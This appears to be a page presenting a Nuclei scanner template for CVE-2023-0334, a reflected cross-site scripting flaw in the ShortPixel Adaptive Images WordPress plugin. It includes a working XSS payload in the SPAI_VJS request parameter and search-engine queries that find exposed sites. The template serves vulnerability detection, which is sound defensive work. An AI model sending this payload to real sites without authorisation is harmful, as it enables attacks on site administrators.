ShortPixel Adaptive Images < 3.6.3 - Cross Site Scripting

ID: CVE-2023-0334

Severity: medium

Author: r3Y3r53

Tags: cve2023,cve,xss,wpscan,wordpress,wp-plugin,wp,shortpixel-adaptive-images,shortpixel

Description

The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against any high privilege users such as admin

YAML Source

id: CVE-2023-0334

info:
  name: ShortPixel Adaptive Images < 3.6.3 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against any high privilege users such as admin
  remediation: Fixed in version 3.6.3
  reference:
    - https://wpscan.com/vulnerability/b027a8db-0fd6-444d-b14a-0ae58f04f931
    - https://nvd.nist.gov/vuln/detail/CVE-2023-0334
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-0334
    cwe-id: CWE-79
    epss-score: 0.00119
    epss-percentile: 0.46131
    cpe: cpe:2.3:a:shortpixel:shortpixel_adaptive_images:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: shortpixel
    product: shortpixel_adaptive_images
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/shortpixel-adaptive-images/
    fofa-query: body=/wp-content/plugins/shortpixel-adaptive-images/
    publicwww-query: /wp-content/plugins/shortpixel-adaptive-images/
  tags: cve2023,cve,xss,wpscan,wordpress,wp-plugin,wp,shortpixel-adaptive-images,shortpixel

http:
  - method: GET
    path:
      - "{{BaseURL}}/?SPAI_VJS=%3C/script%3E%3Cimg%20src%3D1%20onerror%3Dalert(document.domain)%3E"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "shortpixel") && contains(body, "</script><img src=1 onerror=alert(document.domain)>")'
        condition: and
# digest: 490a0046304402204595baf8b6c93730879da9ec99280c85d0caf95dfce5244b6c011800c776dc3902202266e30264723cefb388a0344af08352ae8f9e12ff8341e163f81f6fbf0f9462:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-0334.yaml"

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